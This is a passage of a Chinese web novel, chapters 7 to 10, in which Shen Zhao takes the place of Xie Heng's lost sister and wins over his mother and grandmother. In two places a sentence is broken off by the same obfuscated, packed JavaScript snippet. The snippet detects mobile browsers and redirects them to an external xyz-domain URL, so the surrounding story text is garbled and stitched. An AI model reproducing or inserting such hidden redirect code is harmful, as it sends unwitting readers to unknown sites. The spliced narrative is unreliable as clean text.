等谢珩写完,才递给沈昭过目,虽是将就写下,但笔法遒劲有力,极像书中拓印的古文。 正适时,严母见门外杨方不在,以为这主仆二人走了,喜滋滋地挎着竹篮进来,僵了一瞬又道:“大人还没走呢,若是不介意,留下来吃个便饭吧。” “不了,我一回还有要事。”谢珩眼神示意沈昭,莫耽误时辰。 沈昭上前扶着她娘进屋,谢珩则在院中候着。 未久便听闻严母尖着嗓子喊:“你莫不是要去当人家外室!?” 7. 第 7 章 谢珩听到“外室”两字,太阳穴跳得直突突,一甩长袖,站得更远了,骨节分明的手捏着刚写好的契书,生出几丝悔意。 沈昭惊得睁大双眸,伸手想去捂严母的嘴,她还没来得及细细讲明缘由,只先提起最近几月要暂时离家,且不能回来,希望母亲替她保密,若有朝一日路上相见,只当不识。 严母只沉浸于攀高接贵、婚配贵门的美梦中,又巧见刚才闺女的轻脱肆意之举,误以为他两人互表心意,哪还记得自始至终谢珩并无任何偏颇,行止有度又事事避让,莫说有半分私情,沈昭靠近他三分,都被他无情躲开。 她当然不敢肖想自家闺女能明媒正娶成为正妻,但以她姑娘的样貌,做个美妾都稍显屈就了,既是离家又隐姓埋名,除了被拐去当个面都不能露的外室,哪还有他法,她当即便恼了:“我不同意!你年纪小,可别被他糊里糊涂骗了。” “哎哟,您想哪去了,您小点声,且听我说。”沈昭拉她坐下,趴在她耳侧,将前因后果一一道出,又把刚刚自作主张的提议问过严母,严母起初不置可否,但已近正午,过不了多时,严父回家只怕更搅扰得鸡犬不宁,谢珩还在院中等着带她回晋国公府,便催促着严母给出个确定的答复。 自有了御风,严父手里有了闲钱,性子里那懒惰劲便再也藏不住,更有甚者,让自己瘸腿的亲儿去代服役,兄长走得前一晚,严母坐在院里哭到天明,他们离开后,严父变本加厉,喝了酒后对她动辄打骂,她犹豫良久,终是狠下心点点头:“莫让你爹知道是你出的主意。” 沈昭点头应下:“那娘,我先走了,你照顾好自己,若有事——” “哪会有什么事,你长兄回来家里就有顶梁柱了,”严母打断她的话,她能被贵人相中是好事,若真当成了富家小姐不比跟着她吃糠咽菜强,只是宅门深深,会有更多无形的限制束缚着她,“你自己也多加小心,莫冲撞了那些贵人,能忍当忍。” “好,娘您多保重。”沈昭不忍看她泛红的眼眶,于严母而言,这相当于让她割舍自己养育多年的女儿,但她权衡之下,她忍痛释手了。 沈昭转身要走,却被严母不舍拉住,从头上扯下一枚银簪,这是她成婚多年唯一首饰,与发丝纠缠的尾端还泛着特有的亮泽,“给自己买点新衣服。”银簪塞到她手里,严母低头将她急匆匆推至门外。 沈昭鼻尖泛酸,透过门缝看到严母因低声抽泣而不住颤抖的窄肩,心中涌起万千思绪:“娘,若事成,我会让人给你送银子的,记得藏仔细了,可别被我爹拿去卖酒了。”说罢,走到谢珩面前,“我们走吧。” 谢珩目光向她投去:“都交代清楚了?” “交代清楚了,请你记得我们交换的条件,走吧。”沈昭握紧手中银簪,跟上了谢珩的脚步。 谢珩步子走得极快,若不是身量高挑,在人群中拔尖,沈昭只怕要跟丢了,只能看着远处的幞头余带垂落,如燕尾般在熙熙攘攘的人群中蹁跹。 见他终于停下,沈昭快跑几步跟上,原是急匆匆来了西市的成衣铺子。 她确实需要置换一身衣物,能梳洗一番就更好了。 老板娘一身碧色高腰襦裙,人比花娇:“哟,二位来看看,咱们这上了一批新料子。” 这家成衣铺子是西市最大一家,因着款式新颖,裁剪得体,许多官家小姐公子亦会来此。 谢珩不知这些,只不过经过时看到二楼隔间并立,该有独立的空间,保密性不错。 他将一银锭放置于桌上:“掌柜夫人,烦请帮她梳洗一番,选几件时新春衫。” 老板娘利索地收下银子,她见过出手阔绰的,但往往总卖弄炫耀一番,亮闪亮闪身上那几两碎银,像施舍小娘子似的,即便买了也恶心半天,这公子二话不说直接掏钱当真爽快:“您可真来对地方了,后院备着热水,新采的花瓣还沾着今早的露水,沐洗、濯发、敷面、画眉点唇、梳髻、施妆,我们一水儿的齐备,您稍候片刻,半个时辰便给您一个如雪如玉的小娘子。” 语毕,便由几个小娘子扶着沈昭进了后院内房。 屋内,白气氤氲,弥漫着花的甜香,竹架上光是擦身的帕子便有三种,不同花香的香胰子置于桌上,脱下的旧衣物亦被整齐叠放在一侧,三个娘子侍奉,一个娘子负责添置热水,保持水温。 沈昭惬意舒适地仰躺于浴桶中,怕是贵妃娘娘亦不过如此。 她们精心伺候着,以白玉刮板蘸取益母草灰轻磨面部,待洗净后敷上珍珠、白玉、人参混合藕粉调制的面膏,等半刻洗净,轻柔地按摩她的四肢予以舒缓放松,待全身洗净后,又单独濯发,挑了三个帕子中最轻柔的一条为其擦干。 这一套SPA下来,身上的疲累和酸软一扫而净,她坐在妆台前,望着铜镜中的自己,身旁夸赞声不绝于耳:“娘子真好看!不施粉黛都有几分好颜色。” 沈昭细细瞧着,这话不假,有些人生就不凡,天赐皮骨,哪怕不以脂粉,即使暴于烈阳,沐于风霜,历经霜华,仍气韵犹然,原主严元清便如是。 老板娘眼力劲儿十足,眼前这两位既是贵客又是生面孔,难免不得一番讨好,亲自上阵,为沈昭梳妆。 这小娘子若剥了壳的荔枝般,透着水润,脸若琼玉,眼如甜杏。 老板娘将头发均分为二,双手拧实交缠于头顶,不消片刻,一个简单灵巧的交心髻而成,是时下女子最钟爱的发髻,颇显俏皮灵动。 在为她上妆的间隙,另一小娘子拿着一本画册,一页页为沈昭翻看:“姑娘,可有喜欢的样式。” 画册上的女子皆着长裙,梳不同发髻,各花有各美。 沈昭平日很少穿艳色,念着谢珩祖母长久卧病在床,当下海棠花开正盛,窗外风扬起片片花瓣,落于窗前,沈昭便点了一套妃色为主的长裙:“就这个吧。” 这小娘子生的俊俏,老板娘只薄薄施粉,并未以浓色盖其本身风华,以浅色点注于唇上,又用呵胶贴花子于额间,待在鬓边绘上斜红时,沈昭微仰着身子予以打断:“老板娘,如此就好,辛苦你们了。” 她不喜太繁复的妆容,何况毕竟探望病人,打扮得太过隆重总归不妥。 老板娘自是一切任听客人吩咐,及时止手,眉目含笑地打量镜中人,不由得好奇:这是长安城哪户小姐,怎的之前从未见过。 待换上她挑选的新衣:朱雀鸳鸯纹白绫褙子配一袭宝华缬纹妃色纱裙,老板娘仔细地将敷金绘彩轻纱披帛搭在她身上,轻轻揽过她的臂弯,得意地瞧着自己的“活招牌”:“走吧,小娘子,你家郎君还在楼下候着呢。” 这话可不禁说,沈昭解释:“老板娘,他可不是我郎君,他是——” 老板、哥哥、兄长? 他们还没串好供,该如何称呼彼此,叫老板太直白,叫将军不合适,叫大人又生疏... “好好好。”老板娘满口答应,但不出三秒便忘了。暂当小娘子害羞,扶着她下楼时,还不忘嘱咐,“若有人提起,可莫忘了给我们招揽招揽生意呀。” 沈昭笑着应下,这儿一套流程每一步都恰到好处,既无多余推销又没刻意打探,充分尊重客人私隐,又因人的喜好搭配,扬长避短,确是一家好店。 沈昭随老板娘款步而出,老板娘话比人先到:“公子久等了,您家夫人玉骨冰肌,这素软轻纱如水儿的料子倒像是沾了她的光!” “老板娘,您误会了,他是我兄长,亲哥。”沈昭在谢珩发作前急忙打断她的话,她可不能一而再,再而三地触及老板底线,生怕还没进府就又踩了第一条忌讳。 她抬眸对上谢珩的视线。 忽而一瞬。 窗外恰有早莺啼叫,谢珩急转身去寻鸟声,脖颈却僵得硬挺,余光中,她耳垂上挂的珠坠晃得他喉间发紧,低沉道:“走吧。” 老板娘远望着渐行渐远的两个身影,暗笑道:“哪有自家兄妹如此遮掩,这什么哥哥妹妹的,许是小辈情趣罢了。” - 沈昭知他避讳诸多,便刻意放慢步子,隔些距离走在他斜侧,可谢珩却越走越慢,致使她踩着碎步几乎在原地踏步,直到他转过身,慢慢向她靠近,沉住性子:“我有话同你说。” 沈昭以眼神应他:“说吧。” 谢珩复又转身踏上归途,侧首望去,她竟还小步跟着,谢珩眉宇间浅浅无奈,忍不住开口:“这般磨蹭,是要等到打更么?” 沈昭这才提着裙角小跑几步,与他并行。 谢珩不自然说道:“虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571561|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是约法三章,倒不必过分投鼠忌器,你只需私下注意言行举止,旁人面前以兄妹之礼相待便可。” 沈昭心中纳罕,这是又不必太拘礼了?兄妹之礼——古今该是差异很大,她问道:“那我以后称呼你兄长?哥哥?” 她自幼便喜欢看着对方交谈,言语间脚步快谢珩几步,忽地扬起脸来,日光恰落在那双水润润的眸中,仿若掬了一池碎星,黛眉微挑,带着几分跳脱,很难把眼前粉雕玉琢的人儿同那狡黠又难以捉摸的鱼儿联系到一起。 “随你。”谢珩偏过目光,继续前行。 已至暮春,花儿开得正艳,街上的女子们穿红戴绿,三五闺秀聚于各种铺子前,纤指沾了胭脂互相点染,娇嗔声惊起铜铃叮当作响。 日光斜掠,金钗凤簪乍明乍灭,晃得人眼前一炫,谢珩目光看向她,耳垂上的珠坠还是方才老板娘所赠,头上发髻虽梳得精巧,到底缺了几分。 他停在一个首饰铺子前,打眼一看便眼花缭乱:“挑一个吧。” 沈昭最喜欢这些珠花头饰了,眼中即刻便有了光,如此大方的兄长百年难得一遇! 她自然却之不恭了,拿起一枝金海棠珠花步摇问道:“掌柜的,这个多少钱?” “小娘子好眼光,这枝金步摇可是纯金打造的,瞧你喜欢,只收你两千文吧。” 一支金簪两千文,拿在手中还颇具份量,沈昭突然清楚昨夜那座“小银山”的价值,若是随便买个宅子定当不在话下。 她的视线逡巡一圈,又拿起另一支葡萄纹簪子,手中分量轻了几许:“那这个多少钱?” 掌柜的笑脸垮了些:“姑娘,这支是黄铜而制,虽然颜色相似,但和真金相比,毕竟是假的,30文,且质量可完全不比上一支。” “那你便宜点,20文吧。” “哎,咱们这小本买卖。” 沈昭便同掌柜的讨价还价起来。 谢珩府中所需一概有人采买,他哪见过此等场面,周围围上来的小娘子愈多,他错步避让,急声打断:“若是喜欢,便都买了。”话语间已然拿出银钱。 沈昭砍价正起劲,掌柜的马上要松口了,最怕他这等猪队友拖后腿,在谢珩付银子前,沈昭摆摆手:“算了算了,我们再看看,不买了。” 如此推拉几番后,她最终以二十文拿下,嘴里叽里咕噜:“管它真的假的,真金白银买的就是真的!”金子虽贵重,但沉甸甸的东西久戴在头上不舒服,她轻抚云鬓,将簪子斜插入发间,浅笑道:“怎么样,好看吗?” 粉雕玉琢的人儿岂会不好看,谢珩喉结微动,只道:“快走吧。” 一路而行,谢珩向她细讲了当年细节,将如今晋国公府之事大概带过。谢家本儿女双全,其父只有一妻,李立雯,是晋阳公主,乃当今圣上妹妹,祖母是范阳卢氏嫡女卢玉,门风清正。 谢珩任金吾卫大将军,三品官员,负责长安、洛阳两都的街道巡查,在节庆、朝会时,负责仪卫和警戒,协防宫禁安全,奏请上听后,可逮捕五品以下官员,曾查办靖王谋逆案、洛阳纵火案,深受圣上依仗。 谢珩又详说了她母亲和祖母的喜好和性格,祖母性喜清雅,爱礼佛诵经,母亲幼时对他课业要求严苛,他提醒道:“走失一事,我也是听母亲所言,那时年幼,有些内情不必太细,反倒易引人怀疑。” 此话倒同沈昭想到一处了,反正她对于谢家的事不熟知,不懂装懂反而容易被抓住破绽。 前方便是晋国公府了,朱门赫赫,先皇御赐的匾额高挂于中,金泥大字映着日光,威严气派。两尊白玉狮子分立于阶前,怒目圆睁,自带肃杀之气。 府前青石铺路,因往来车马磨得发亮,两侧侍卫提刀而立,目不斜视。 严母给的银簪还在她怀中沉甸甸的,沈昭问道:“我家中尚无亲友离世,不太了解若想体面安葬一人,该如何置办呢?” 谢珩顿住,语带锋芒:“你莫不是为了御风?倒也有心,但是我有一事不明,你既不是严元清,又何必假装对御风有爱慕之情,忧心他的身后事呢?” 沈昭微愣在原地,脑中一阵嗡鸣,才记起,自他们相遇,谢珩本就明里暗里查过她多次,但从未将她当做严元清,竟只以姑娘相称。 8. 第 8 章 沈昭脊背上登时起了层薄汗,对上他探究审视的目光,与女子相处时避嫌不同,那眉目间残存的几缕君子气消散,俨然像面对一个重刑犯,目似利刃,携着彻骨的寒气。 谢珩派杨方查探严元清平日来往之人,摸其脾性、喜好,如他所想,严元清与眼前女子大不相同。观其言行举止,总有些摸不清的怪诞,但她又不像失忆,仍记得身边之事。 从严母言行所看,并未对她生疑,可她桩桩件件又不曾恶意伤人,体恤长兄,在面对血缘至亲时,仍能以公正决断,又有几分胆识,与杨方所报“温良贤淑、老实本分”相差甚远。 沈昭心蓦地一沉,袖中手指用力掐入掌心,连呼吸都滞了几息,但转念想想,他今日在自己身上浪费了这么些功夫,契书已下,哪怕有猜忌,总归无凭无据,只为试探罢了。 她轻颤长睫正视他,强装淡然:“初遇那日,我大病初愈,有些烧糊涂罢了,难免浑浑噩噩,何况我同母亲分别时,你亲眼所见,她是我至亲,总不会认不出我。” 谢珩显然不信她这套说辞:“那加肠加蛋,子时是二十三点,又是何故?”他本不欲同她辩个明白,她身上有疑,但又查探无误,事出突然,他也寻不到合适女子,既然已决定冒大不韪欺瞒母亲,对她的身份反而没那么在意,何况据他所观,这女子也并非大奸大恶之人,有些小机灵、贪财、好吃,反倒好收买。 他继续道:“我对你的身份不感兴趣,只是契约已成,双方自当有些诚意,我并非你的敌人,若你日后有疏忽,我若知晓一二,尚能互相帮衬,说与不说全在于你。” 他所言确有几分道理,沈昭初来此地,多一个仗义执言的兄长,总比多一个各怀心思的敌人要好,何况他们还站在同一战线上。 见他不欲细究,只求坦诚,亦没有逼迫的意思,可穿越一事哪怕沈昭的时代都尚未明晰,若直白地同他讲起,约莫真会以为自己有癔症:“我来自九州,距长安有万里之遥,其间隔山望水,少有人涉足我的家乡,我路遇严姑娘时,她置身泥沼,你的属下见死不救,我也无能为力,她怕母亲伤心,临死前让我假扮作她,继续尽孝。” 沈昭说得坦然,本就虚实真假相掺,信与不信全看谢珩。 那夜搜山时,谢珩曾经过泥沼,任他们有武艺在身,若掉下去都需费一番功夫,两个弱女子若无人相助,着实很难脱身。 她的话中仍有漏洞,但面容相似者众,能以假乱真瞒过至亲者少。 谢珩盯着她的眼眸,清迥明亮,若含秋水,他提审时,见过无数双眸子,愤恨的、狠辣的、悲愤的、绝望的... 唯独眼前这双透着一股狡黠的坦荡,像慢慢放置于水中的鱼饵,明晃晃地诱引着周围的游鱼,饥饿难耐的鱼儿争相恐后地簇拥上去,被温柔陷阱所诱。 沈昭迎着他的视线,上前一步,风乍起,她肩上的浅色披帛被风卷起,恰好缠在眼前人手执的剑上,细软披帛不过轻纱一握,缠于剑身上却如春蚕吐丝,至柔之物亦藏至坚,看似不堪一击,却比寒铁锁链更甚,让执剑人的手难动半分。 沈昭并未留意,只道:“大人若是不信的话,那我走咯?” 谢珩瞥见剑鞘上的软纱,沉稳的呼吸霎时窒了几息,但见她转身要走,手臂绷紧,腕间骤然发力,缠在硬挺冰冷剑身上的披帛瞬时绷紧,在阳光下拉出一抹浅金色弧光。 回旋间,披帛如被风拉扯的流云,将已走出几步的沈昭倏地拽回,她踉跄转身时,绣鞋踏着青石板,纱裙如水中涟漪层层荡开,两人之间的距离陡然缩短,谢珩甚至看清了她额间五瓣花上点染的红珠,闻到发间甜腻的果香。 就在鼻尖将触未触之际,剑光如电,“铮——”披帛应声而断,沈昭足尖点地向后飘开丈余,谢珩脚踏石板,跃出几丈远,青色衣袍在空中划开一道冷冽弧光。 被斩断的半截轻纱缓缓飘落,如一片凋零的海棠花瓣,无声地覆在两人之间的青石板上。 沈昭扯扯身上的披帛,轻声抱怨:“刚买的新衣服就这么毁了。” 谢珩皱眉振袖,复又上前几步,开口却问道:“那你的家人何在?” 眼见她眸中的光暗了几分,像凝着远方,声线无波无澜:“都死了。” 谢珩握剑的手徒然攥紧,剑鞘上的纹路深深勒进掌心,声音哑然:“走吧,祖母和母亲应是等着了,御风的事我自会查明,将他好生安葬。” 将至门前,谢珩突然驻足,低声问道:“对了,还不知姑娘芳名?” 沈昭豁然一笑,家没了、亲人、朋友都如行尸走肉般,甚至不知在她的时代还会存在几许,她的名字还重要么? 但见谢珩笃定地等着她的回答,山河倾覆之前,若是世上还有一人记得她,倒也不算全然湮灭,她应道:“沈昭。” 昭昭心莹玉壶冰(注),确是个好名字。 - 据闻今日谢珩会带失散多年的小姐回府,王管家得了消息,一早便带着家丁们忙里忙外清扫,远远看见谢珩二人,冲着正忙活的一众喊道:“少爷小姐回来了!” 他出门相迎,恭敬道:“少爷,小姐!”待见到沈昭时,眼中满是慈爱,不觉得红了眼眶,哽咽许久。 家仆们齐声见礼:“少爷,小姐!” 谢珩淡然应下:“王叔,烦请让人知会母亲一声,我带怀瑾回来了。” “好好。”王管家让两名婢女去请,又期待地多看了沈昭一眼,而后转身张罗着下人继续打扫。 “王叔,许久未见,你还和从前一样呢!”身后传来沈昭甜如莺歌的问候,王管家眯眼一笑,眼中的泪顺势滑了下来,他一把抹去,转身回道:“可怜小姐还记得我这老家伙,小姐可是出落成大姑娘了。” - 老夫人今晨喝了药,刚睡下不久,睡梦中迷迷糊糊念着“瑾儿”。 李立雯伺候她歇下后,端坐于妆台前,从镜匣中取出一对玉佩,拿在手里掂量许久,她纵然相信谢珩的能力和手段,但毕竟自小生在长安繁华处,哪历过多少风雨。 瑾儿失散多年,晋国公府一直在寻,曾也有一些女子上门认亲,但言语间便露了马脚。 人心叵测,不得不防。 十几年未见,她一面盼着她的孩儿平安归来,她也悔,若瑾儿站在她面前,她能记得娘亲吗,能否原谅自己当年一时不察,使她流落在外十余年,但她更怕,哪个才是她的瑾儿,她还能认出她么? 她妥当地放好其中一枚于匣里,将另一枚玉佩收于 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谢珩挑眉看向她,未听到附近的脚步声,压低声音说:“之前曾有女子上门自称是我舍妹,待探查一番后,便将其打发了,母亲虽会训诫我们,但并非不讲情理,哪怕日后寻到怀瑾,我亦感念你今日相助,保你和严家一世无虞。” 沈昭听着他宽慰的话,深吸一口气,稳住心神,既然骗与不骗都两难,那便是做什么都可以了。 廊外脚步声渐起,谢珩先一步起身,跨步向前,候在门侧:“母亲,我将怀瑾带回来了。” 华衣美服的李立雯浅笑着入内,端肃慧怡,举止间皆带凤仪,不怒而威,眼下压了一层粉,透出浅浅的青灰色,哪怕历经丈夫早逝、女儿失散这等蹉跎,但依旧不见岁月对其摧残。 许是因着之前冒名的几个女子,曾经期待的心被一次次戏弄过,与管家的含泪激动不同,她微抬凤眼细细瞧着沈昭,待入座后,才慢悠悠开口:“说说吧,你是如何找到你妹妹的。” 谢珩将去牛家村寻人之事一一细表,只是隐去未寻到人和这一路波折,昨夜安置她于城中旅舍休息后,经过一夜核查,证实无误后将沈昭带回府中。 待谢珩交代完毕后,李立雯又问了沈昭些许细节,沈昭挑挑拣拣说了个大概,倒并无太大出入,甚至一些只有谢家所知的细节,沈昭亦能说出一二,与之前冒认的女子已是天壤之别。 她静静打量着眼前并立的兄妹二人,除非...... 但很快,她又打断了这个念头,谢珩由他一手培养,在内礼教周全,在外秉公办事,定然不会联合外人欺瞒于她。 她心中已然信了七八分,但她仍需再次确认,她拿出怀中的玉佩,问向沈昭:“幼童走失之事常有发生,因此我待你们降生时,便特意定做了一对玉佩,你和珩儿身上各有一枚,珩儿一向不喜此等饰物,我手中这枚便是他的,可你幼时爱不释手,自小挂在身上,如今可还在你身上,能否拿出来让我看看?” 李立雯心中暗想:眼前女子自然拿不出这枚玉佩,但她若是借口幼时颠沛流离,遗失在外,那同样也是扯谎。 9. 第 9 章 谢珩听闻,心道不妙,这是为了试她一试,母亲从未送过这等玉佩给他们,他装作不懂,薄唇微启刚欲开口,却被她母亲的眼神逼退。 此刻沈昭正满腹疑惑,完全忽略了他们之间的暗涌,谢珩试图开口令她母亲暂露的一丝破绽,很快又被掩下。 如果他再妄动的话,便是过于刻意的帮扶,更瞒不过去,只好安然守在一旁,垂眼不语。 沈昭眼皮微颤,细细回想路上他曾交代的种种,谢珩可从未提过此事,难道是他忘了? 李立雯又添了一把火,开口道:“莫不是丢了,丢了也无妨,娘不会怪你,毕竟当年你还小,全是娘的错。” 沈昭余光扫到谢珩,但为时已晚,他置身事外站在一旁,未置一词,连个眼神也没给。 不久,沈昭抬起眼眸,直视李立雯,一双杏儿眸黑白分明,语气带着淡淡的疏离:“夫人,我长久生活在牛家村,从未见过此等稀罕物件,我仍记得幼时家中有许多玩伴,后有一日,我一个人在山林中走了许久,天黑了。” 她倒吸一口凉气,声音哽咽:“我不知周围有多少凶兽,但那夜窸窸窣窣的声音一直萦绕在我耳畔,我缩着身子藏在灌木丛中,不知在山中走了几时,后来遇到一对农妇。” 谢珩斜睨她,眼眶微红,娇面上两颊的红晕因情绪起伏更添了几分颜色,鼻尖似乎透着粉,眸中藏着泪珠,柔声诉说她的过往。 沈昭继续道:“我明知那对农妇并非我的家人,但我又走不出那座山,幸好他们待我如珠,可惜后来颠沛流离,他们因病而逝,我便独自一人居住,直到眼前公子上门,说我是谢家失散多年的女儿,贫苦人家能吃顿饱饭便是奢侈,若有此等珍贵物件,收养我的夫妇也不会因没钱买药而亡。” 因着人是由谢珩带回,李立雯本就信了七八分,听眼前姑娘娓娓道来自己多年的苦楚,心被揪得紧紧的,仿佛又回到十多年前那天,本就是她的错,她竟还生了嫌隙,有意质问自己的孩子。 她轻叹一声,刚欲起身,沈昭从身后拿出备好的怡糖,油纸斑驳甚至已被磨破,怡糖化了大半,打眼一瞧确看不出是新糖,她双手捧着糖:“家中唯一好物便是这种怡糖,只有逢年过节,央求娘亲许久,她才会买给我,可是我又不喜吃甜,许是我走失前家中人嗜甜,但我记不清了,只默默把年节时买的糖攒下,盼望着有朝一日,若得以相聚,给她尝尝罢。” 话音未毕,一股淡雅的木若香扑鼻,她被李立雯紧紧拥入怀中,仰着头才得片刻喘息。 李立雯一向喜甜,这孩子虽忘了她的模样但竟惦念至今,她又悔又恨,手中玉佩的纹路好似一块烙铁,焦灼着她的心,她泫然而泣:“好孩子,是娘对不住你,让你在外一直受苦,没事了,以后娘定会好好弥补你,都是娘的错。” 成了! 幸好有谢珩提前交代,她本想当做见面礼,而后又自觉她流落在外,定然受了不少苦,家中又没有幼童,哪还有闲钱买怡糖。 正对上李立雯拿玉佩试她,如此细节,哪怕谢珩从不戴玉,但依他的谨慎周全性子,定会交代清楚,便姑且信他一次,谁让他们此刻是同一战壕的队友呢。 幸好自己赌赢了,这单生意拿下喽。 沈昭噙着泪的眸子闪着莹润的光,对上向她投去视线的谢珩,俏皮地眨眨眼,若春星流转,窃月风华。 谢珩不自然地将视线移开,唇角扬起的弧度却并未落下。 他本以为刚刚她因紧张不安而焦躁地揉搓手里油纸,原是早就谋划妥当,这一出戏着实有点意思,如若不是他提前知晓因果,只怕也会信她三分。 李立雯轻拭眼角的泪,将沈昭拉至一旁入座,见谢珩同样面带着笑,欣慰道:“能将瑾儿带回,你瞧,你兄长也很欣喜呢。” 谢珩不笑时,冷峻疏离,脸上自带“生人勿进”四个大字,但毕竟未经历太大风浪,笑起来十足的少年意气,甚至还沾着几分稚气,他轻咳一声,扯平唇角,行了一礼:“既已找回怀瑾,便不打扰母亲和妹妹相聚,我先回左衙一趟,衙里还有些公务未尽。” 李立雯点头应下,待他走后,不禁抱怨道:“你兄长就是如此,日日守着公务共事,整日见不着个人影,幸好你回来了,家里也该热闹热闹了。” 沈昭任由她拉着,礼貌又妥帖地点头应和,多说多错,若她不细究,自己尽量少言。 李立雯则如倒豆子般倾诉着:“这些年迟迟未寻到你,苦了你了,你祖母念着你,后来劳心伤神,久病不起,如今你回来了,她定会好起来。” 沈昭笑靥如花:“祖母和母亲一定会身体康健,长命百岁。” 李立雯瞧着多年未见的女儿总越看越亲,柳叶弯眉鹿儿眼,褪去了幼时娇憨和稚嫩,倒多了几分灵气,虽长在乡野,却进退有度,举止皆宜。 母女俩说着体己话,沈昭适时地予以回应,很快便过了一个时辰,李立雯估算着,该将老夫人唤起,准备服药了。 正巧谢珩归来,先由他陪着妹妹。 临踏出屋门前,李立雯还一步三回头,生怕少看一眼,这视若珍宝的女儿恐又会消失:“你们且在这等着,待阿姑起身,我唤人来,你们再去。” 李立雯带着随侍婢女离开后,谢珩招招手,摒退左右,只留知晓内情的杨方一人在外守着。 为免失仪,沈昭僵着身子同李立雯说了许久,此刻卸下防备,伸伸懒腰,从坐椅中跳起,三步并作两步走到谢珩身前,怕旁人听去,踮起脚尖,拢起手,小声邀功似的:“如何?你妈...娘亲可是信了?” 被截断的披帛轻飘飘地贴在他的外袍上,风吹不散。 谢珩小步躲开,颔首道:“嗯,该是信了。” 沈昭转了一圈,绕回到他眼前:“你不必躲我至此,以后同在府里,若我们密谋什么,总不能太明目张胆,”她急了一跺脚,“你会不会说悄悄话!” 这可事关她的小金库,若谢珩不是个武将,她只怕会把他当成个书呆子,男女礼教虽严,但总不至如此,太过杯弓蛇影了。 她才没这么多规矩,只要不耽误她挣银子,如何都好商量。 沈昭明显已几次三番越界,突破了他的安全距离,他手中下意识攥紧剑鞘:“若有事相商,我们大可出府,避人耳目。” 沈昭暗道:出府?可拉倒吧,总不能他俩一人在左衙的一间监房,隔窗对话,没准他真干得出来。 见他锁眉,沈昭又道:“我知你们此处规矩繁多,但我又不介意,你不必如此。何况你我不是兄妹么,虽然有礼有节,但怎么不得比平常人相熟许多,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571563|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们九州,若是亲兄妹,嬉笑打闹都是日常,我还牵着我弟弟到处跑呢!”说罢举起手在他眼前晃晃。 自沈昭在厨舍出言不逊之后,谢珩每每见她便打起十二万分精神,十句话中恨不得九句半都作不得数,他观遍舆图,并无九州一说,至于嬉笑打闹更是无稽之谈。 但她既然爱说,谢珩并未打断,只在旁静静听着另一个世界的荒唐和离奇。 老夫人礼佛,母亲爱养护花草,花圃中的花儿开得正盛,紫薇花红满堂、玉蕊含苞待放、芍药千娇百媚...几只彩蝶在其中翩翩而飞,翼翅薄如纱,色彩斑斓,闯入他们视线。 飞至眼前,沈昭一时兴起伸手去捕,广袖滑至手肘,露出一截洗白的藕臂。 谢珩听着她的故事微怔,余光略见一只素手探来,下意识将手藏向身后,握拳于袖中。 一抹亮色从她指缝中振翅而飞,她失落道:“我还以为抓住了呢。”抬眸对上谢珩警觉的目光,以及藏得严严实实的手,她噗嗤笑出声来:“你不会以为我要牵你手吧。” “胡闹!”谢珩甩袖而去,只听得廊下杨方的窃喜声:“将军,您等等我。” 杨方疾步跟上,无奈地摇摇头,将军为老夫人的病忧心,无奈之下自请这女子入府,但依他所见,这姑娘可不是恬静性子,指不定以后会出什么乱子,不禁替自家将军捏把冷汗,但佛已经请进香堂之上,又哄得夫人如此开心,还能怎么办,自是先供着呗。 谢珩行至老夫人别院,撞见她母亲端着药碗从屋内走出,探着身子往后望:“怎么不见瑾儿同你一起?” “来啦,娘亲~”沈昭像刚出谷的黄鹂鸟般,声音婉转清越,来的路上步履匆匆,额间的细小碎发被风吹乱,及走至眼前时,又扮作大家闺秀模样,敛眉浅笑,又变了副样子。 李立雯打眼一瞧,便知这姑娘在山野间活络惯了,不过是因着初入国公府,束手束脚,倒显得过于拘谨了,她将药碗置于一旁的托盘中,慈爱地拉着她:“既回了家,便没那么多规矩,莫学你兄长那套,你祖母刚服了药,惦记着你呢,快随我进去看看。” “好,谨听娘亲教诲。”沈昭爽快地上前搭上李立雯的手,两人往内房走去,跨过门槛时还不忘小心提醒,“娘亲,当心脚下。” 李立雯的嘴角自见了她就再没落下来过,笑得抬手捋捋眼角的细纹,心里宽慰极了。 沈昭拿钱办事,本就为这家里老夫人和娘亲提供情绪价值,自当尽心尽力,愈演愈欢喜,她回头瞟见站在屋外等候的谢珩,嚣张地冲他弄颜作态,好似在叫嚣:“你看,娘亲都说不用重规矩了。”得了李立雯撑腰,她用口型无声重复:莫学你哥! 她脸上洋洋得意,才初入府竟能同母亲联合,一起打趣他。 能哄骗金吾卫放她回家、瞒过严元清的至亲...此时能得母亲喜爱,在谢珩眼中倒不足为奇了。 他甚至有一丝卑劣又庆幸的想法:若她真是怀瑾便好了。 但那飘飞的披帛和放肆的孟浪之举又令他庆幸,还好不是,否则他该如何同母亲交代。 檀香压浊,伴着浅淡的药香,弥散衾枕间盘桓的朽气,一银发老人正躺在床榻上,听闻脚步声,侧过头去看,身边的婢女上前扶她坐起,她眯着眸子细看:“这是瑾儿?” 10. 第 10 章 老夫人虽然脸上没有血色,但到底是由国公府上上下下的人看护照料着,并无垂垂老矣的病气,只是身子太弱,还需要静养,李立雯每日也不会叨扰太久,只侍奉服药、少吃一些食物,偶尔聊几句,老夫人便乏了。 如今她心心念念的瑾儿回来,眼角的纹路都笑得深了些:“快过来,让祖母看看。” 